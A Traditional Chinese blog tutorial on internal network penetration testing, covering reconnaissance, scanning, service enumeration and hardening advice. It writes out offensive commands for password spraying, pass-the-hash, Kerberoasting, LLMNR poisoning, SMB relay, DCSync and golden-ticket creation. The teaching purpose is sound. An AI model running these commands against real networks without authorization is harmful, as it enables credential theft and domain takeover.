內網滲透測試基礎概念與方法

Introduction to internal network penetration testing fundamentals and methodologies for security professionals

內網滲透簡介

內網滲透測試(Internal Penetration Testing)是一種模擬攻擊者已經突破外部防線後,在內部網路中進行進一步攻擊的安全評估方式。與外網滲透測試不同,內網滲透假設攻擊者已經取得內部網路的存取權限,可能是透過釣魚攻擊、實體入侵,或是利用外部服務的漏洞進入內網。

內網滲透的重要性

企業往往投入大量資源保護網路邊界,但內部網路的安全防護卻經常被忽視。一旦攻擊者突破外部防線進入內網,可能面臨以下問題:

  • 扁平化網路架構:內部網路缺乏有效的網段隔離
  • 過度信任:內部系統之間缺乏適當的存取控制
  • 老舊系統:內網中可能存在未修補漏洞的老舊系統
  • 敏感資料暴露:關鍵資料在內網中缺乏適當保護

內網滲透與外網滲透的差異

面向外網滲透內網滲透
攻擊起點網際網路內部網路
可見目標公開服務、網站內部伺服器、工作站
防護程度通常較強往往較弱
攻擊目標取得初始存取橫向移動、權限提升
偵測難度較容易被偵測容易混入正常流量

內網滲透測試的階段

一般的內網滲透測試流程包含以下階段:

  1. 資訊收集(Reconnaissance):瞭解網路環境和目標系統
  2. 網路拓撲發現(Network Discovery):識別網路架構和設備
  3. 服務識別(Service Enumeration):探測開放服務和版本
  4. 漏洞分析(Vulnerability Assessment):識別潛在弱點
  5. 漏洞利用(Exploitation):嘗試利用發現的漏洞
  6. 權限提升(Privilege Escalation):取得更高權限
  7. 橫向移動(Lateral Movement):在網路中擴展存取範圍
  8. 資料收集(Data Exfiltration):存取敏感資料

資訊收集技術

資訊收集是內網滲透測試的第一步,目標是盡可能多地瞭解目標環境。良好的資訊收集能夠提高後續攻擊的成功率,並減少被偵測的風險。

被動資訊收集

被動資訊收集不會直接與目標系統互動,因此不易被偵測。

監聽網路流量

1
2
3
4
5
6
7
8
# 使用 tcpdump 監聽網路流量
sudo tcpdump -i eth0 -w capture.pcap

# 監聽特定協定
sudo tcpdump -i eth0 port 445 or port 139

# 監聽廣播流量
sudo tcpdump -i eth0 broadcast

分析 ARP 快取

1
2
3
4
5
6
# Linux 查看 ARP 快取
arp -a
ip neigh show

# Windows 查看 ARP 快取
arp -a

監聽 NetBIOS/LLMNR 流量

NetBIOS 和 LLMNR 是 Windows 環境中常見的名稱解析協定,可以透過監聽這些協定發現網路中的主機。

1
2
3
4
5
# 使用 Responder 監聽模式(不進行欺騙)
sudo responder -I eth0 -A

# 使用 Wireshark 過濾 LLMNR 流量
# 過濾條件:llmnr

主動資訊收集

主動資訊收集會直接與目標系統互動,能獲取更詳細的資訊,但也容易被偵測。

查詢 DNS 資訊

1
2
3
4
5
6
7
8
# 查詢 DNS 伺服器
nslookup -type=any domain.local dns-server

# 嘗試區域傳送
dig axfr domain.local @dns-server

# 列舉 DNS 記錄
dnsrecon -d domain.local -t std

LDAP 查詢(Active Directory 環境)

1
2
3
4
5
6
7
8
# 使用 ldapsearch 查詢 AD 資訊
ldapsearch -x -H ldap://dc.domain.local -b "DC=domain,DC=local"

# 查詢所有使用者
ldapsearch -x -H ldap://dc.domain.local -b "DC=domain,DC=local" "(objectClass=user)"

# 查詢所有電腦
ldapsearch -x -H ldap://dc.domain.local -b "DC=domain,DC=local" "(objectClass=computer)"

使用 enum4linux 收集 Windows 資訊

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 完整列舉
enum4linux -a target_ip

# 列舉使用者
enum4linux -U target_ip

# 列舉共享資料夾
enum4linux -S target_ip

# 列舉群組
enum4linux -G target_ip

收集的關鍵資訊

在資訊收集階段,應注意收集以下關鍵資訊:

資訊類型用途
IP 位址範圍確定攻擊範圍
網域名稱AD 攻擊準備
使用者名稱密碼猜測、釣魚
主機名稱識別關鍵系統
作業系統版本選擇適當的攻擊方式
網路服務識別攻擊面
安全設備規避偵測

網路拓撲發現

網路拓撲發現的目標是瞭解目標網路的架構,包括網段劃分、路由設定、關鍵設備位置等。

主機發現技術

ICMP 掃描

1
2
3
4
5
6
7
8
# 使用 ping 掃描單一主機
ping -c 3 192.168.1.1

# 使用 fping 快速掃描網段
fping -a -g 192.168.1.0/24 2>/dev/null

# 使用 Nmap 進行 ICMP 掃描
nmap -sn -PE 192.168.1.0/24

ARP 掃描

ARP 掃描在本地網路中非常有效,因為 ARP 請求通常不會被防火牆過濾。

1
2
3
4
5
6
# 使用 arp-scan
sudo arp-scan -l
sudo arp-scan 192.168.1.0/24

# 使用 Nmap ARP 掃描
nmap -sn -PR 192.168.1.0/24

TCP/UDP 掃描發現

1
2
3
4
5
6
7
8
# TCP SYN 掃描發現
nmap -sn -PS22,80,443,445 192.168.1.0/24

# TCP ACK 掃描發現
nmap -sn -PA80,443 192.168.1.0/24

# UDP 掃描發現
nmap -sn -PU53,161 192.168.1.0/24

識別網路設備

發現路由器和閘道

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 查看預設閘道
ip route show
route -n

# 追蹤路由
traceroute target_ip
tracepath target_ip

# Windows 追蹤路由
tracert target_ip

識別網路服務位置

1
2
3
4
5
6
7
8
# 掃描常見網路設備管理介面
nmap -p 22,23,80,443,8080,8443 192.168.1.0/24

# 識別 SNMP 設備
nmap -sU -p 161 192.168.1.0/24

# 使用 SNMP 收集資訊
snmpwalk -v2c -c public target_ip

網段發現

1
2
3
4
5
6
7
# 識別活躍網段
for i in $(seq 1 254); do
    ping -c 1 -W 1 192.168.$i.1 &>/dev/null && echo "192.168.$i.0/24 is active"
done

# 使用 Nmap 掃描多個網段
nmap -sn 192.168.1.0/24 192.168.2.0/24 10.0.0.0/24

繪製網路拓撲

收集到的資訊應該整理成清晰的網路拓撲圖,包含:

  • 網段劃分:各網段的 IP 範圍和用途
  • 關鍵設備:路由器、防火牆、交換器位置
  • 伺服器位置:AD、DNS、Mail、Web 等伺服器
  • 工作站分布:一般使用者電腦的位置
  • 安全設備:IDS/IPS、WAF 等位置

服務識別

服務識別的目標是確定目標主機上執行的服務、版本和潛在漏洞。

埠掃描技術

基本 TCP 掃描

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# TCP Connect 掃描(完整三向交握)
nmap -sT -p 1-65535 target_ip

# TCP SYN 掃描(半開放掃描)
sudo nmap -sS -p 1-65535 target_ip

# 快速掃描常用埠
nmap -F target_ip

# 掃描特定埠
nmap -p 22,80,443,445,3389 target_ip

UDP 掃描

1
2
3
4
5
# UDP 掃描(較慢)
sudo nmap -sU -p 53,67,68,69,123,161,500 target_ip

# 結合 TCP 和 UDP 掃描
sudo nmap -sS -sU -p T:1-1000,U:53,67,161 target_ip

隱蔽掃描技術

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# FIN 掃描
sudo nmap -sF target_ip

# NULL 掃描
sudo nmap -sN target_ip

# Xmas 掃描
sudo nmap -sX target_ip

# 分段掃描(規避 IDS)
sudo nmap -f target_ip

# 隨機順序掃描
sudo nmap --randomize-hosts -p 1-1000 192.168.1.0/24

服務版本識別

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 服務版本偵測
nmap -sV target_ip

# 詳細版本偵測
nmap -sV --version-intensity 5 target_ip

# 結合作業系統偵測
nmap -sV -O target_ip

# 使用 NSE 腳本進行深度識別
nmap -sV -sC target_ip

常見服務識別

SMB 服務(445/TCP)

1
2
3
4
5
6
7
8
9
# SMB 版本識別
nmap -p 445 --script smb-os-discovery target_ip

# 列舉 SMB 共享
nmap -p 445 --script smb-enum-shares target_ip
smbclient -L //target_ip -N

# 檢查 SMB 漏洞
nmap -p 445 --script smb-vuln* target_ip

SSH 服務(22/TCP)

1
2
3
4
5
6
# SSH 版本和演算法識別
nmap -p 22 --script ssh2-enum-algos target_ip
nmap -p 22 --script ssh-auth-methods target_ip

# 使用 ssh-audit 進行詳細分析
ssh-audit target_ip

Web 服務(80/443/TCP)

1
2
3
4
5
6
7
8
# Web 伺服器識別
nmap -p 80,443 --script http-server-header target_ip

# 列舉 Web 目錄
nmap -p 80 --script http-enum target_ip

# 識別 Web 應用程式
whatweb http://target_ip

RDP 服務(3389/TCP)

1
2
3
4
5
# RDP 服務識別
nmap -p 3389 --script rdp-ntlm-info target_ip

# 檢查 RDP 加密等級
nmap -p 3389 --script rdp-enum-encryption target_ip

服務識別結果整理

建議將服務識別結果整理成表格:

主機服務版本備註
192.168.1.1022SSHOpenSSH 7.6可能需要更新
192.168.1.1080HTTPApache 2.4.29檢查漏洞
192.168.1.20445SMBWindows Server 2016AD 控制器
192.168.1.303306MySQL5.7.25資料庫伺服器

常見攻擊向量

了解常見的攻擊向量有助於識別系統弱點和制定攻擊策略。

認證相關攻擊

密碼猜測與噴灑攻擊

1
2
3
4
5
6
7
8
9
# 使用 Hydra 進行 SSH 暴力破解
hydra -l admin -P passwords.txt ssh://target_ip

# 密碼噴灑攻擊(避免帳戶鎖定)
# 對多個帳戶嘗試同一密碼
crackmapexec smb target_ip -u users.txt -p 'Password123'

# 使用 Kerbrute 進行 Kerberos 密碼噴灑
kerbrute passwordspray -d domain.local users.txt 'Password123'

雜湊傳遞攻擊(Pass-the-Hash)

1
2
3
4
5
6
7
8
# 使用 pth-winexe 執行命令
pth-winexe -U domain/user%hash //target_ip cmd

# 使用 CrackMapExec
crackmapexec smb target_ip -u user -H ntlm_hash

# 使用 Impacket psexec
python3 psexec.py -hashes :ntlm_hash domain/user@target_ip

Kerberos 攻擊

1
2
3
4
5
6
# Kerberoasting - 請求服務票證並離線破解
# 使用 Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip dc_ip domain/user:password

# AS-REP Roasting - 針對不需要預認證的帳戶
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip dc_ip

SMB 相關攻擊

列舉和存取共享

1
2
3
4
5
6
7
8
# 列舉共享
smbclient -L //target_ip -U user%password

# 連接共享
smbclient //target_ip/share -U user%password

# 使用 CrackMapExec 掃描可存取的共享
crackmapexec smb 192.168.1.0/24 -u user -p password --shares

SMB Relay 攻擊

1
2
3
4
5
6
7
# 1. 識別未啟用 SMB 簽章的主機
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

# 2. 設定 Relay
ntlmrelayx.py -tf targets.txt -smb2support

# 3. 觸發認證(使用 Responder 或其他方式)

LLMNR/NBT-NS 毒化

1
2
3
4
5
# 使用 Responder 進行 LLMNR/NBT-NS 毒化
sudo responder -I eth0 -wrf

# Responder 會捕獲 NTLMv2 雜湊,可以使用 hashcat 破解
hashcat -m 5600 hashes.txt wordlist.txt

權限提升技術

Windows 權限提升

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 使用 winPEAS 進行自動化檢查
.\winPEAS.exe

# 檢查未加引號的服務路徑
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"

# 檢查可修改的服務
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# 檢查 AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Linux 權限提升

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 使用 LinPEAS 進行自動化檢查
./linpeas.sh

# 檢查 SUID 檔案
find / -perm -4000 -type f 2>/dev/null

# 檢查可寫入的 /etc/passwd
ls -la /etc/passwd

# 檢查 sudo 權限
sudo -l

# 檢查排程任務
cat /etc/crontab
ls -la /etc/cron.*

橫向移動技術

使用 PsExec

1
2
3
4
5
# Impacket PsExec
python3 psexec.py domain/user:password@target_ip

# 使用雜湊
python3 psexec.py -hashes :ntlm_hash domain/user@target_ip

使用 WMI

1
2
3
4
5
# Impacket WMIExec
python3 wmiexec.py domain/user:password@target_ip

# 使用 CrackMapExec
crackmapexec smb target_ip -u user -p password -x "whoami"

使用 WinRM

1
2
3
4
5
# 使用 evil-winrm
evil-winrm -i target_ip -u user -p password

# 使用 CrackMapExec
crackmapexec winrm target_ip -u user -p password

Active Directory 攻擊

DCSync 攻擊

1
2
3
4
5
# 使用 Mimikatz
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

# 使用 Impacket
secretsdump.py domain/user:password@dc_ip

黃金票證攻擊

1
2
# 使用 Mimikatz 建立黃金票證
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt

安全建議

進行內網滲透測試後,應針對發現的問題提出改善建議:

網路架構

  1. 實施網路分段:將不同功能的系統分隔到不同網段
  2. 限制橫向流量:使用防火牆限制網段之間的通訊
  3. 部署 NAC:實施網路存取控制,限制未授權設備

身份認證

  1. 啟用多因子認證:對關鍵系統啟用 MFA
  2. 實施強密碼政策:要求複雜密碼並定期更換
  3. 限制管理員帳戶:減少有特權帳戶的數量
  4. 啟用帳戶鎖定:防止暴力破解攻擊

系統強化

  1. 定期更新修補:保持系統和軟體更新
  2. 停用不必要服務:關閉不需要的網路服務
  3. 啟用 SMB 簽章:防止 SMB Relay 攻擊
  4. 停用 LLMNR/NBT-NS:防止名稱解析毒化攻擊

監控偵測

  1. 部署 SIEM:集中收集和分析日誌
  2. 啟用進階稽核:記錄敏感操作
  3. 部署 EDR:端點偵測與回應
  4. 建立基準線:識別異常活動

總結

內網滲透測試是評估組織安全狀況的重要手段,本文介紹了以下內容:

  1. 內網滲透簡介:內網滲透的重要性和測試階段
  2. 資訊收集技術:被動和主動資訊收集方法
  3. 網路拓撲發現:主機發現和網路架構識別
  4. 服務識別:埠掃描和服務版本偵測
  5. 常見攻擊向量:認證攻擊、橫向移動、權限提升

進行內網滲透測試時,務必:

  • 取得明確的書面授權
  • 遵守測試範圍和規則
  • 詳細記錄所有發現
  • 負責任地報告漏洞
  • 提供具體的修復建議

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy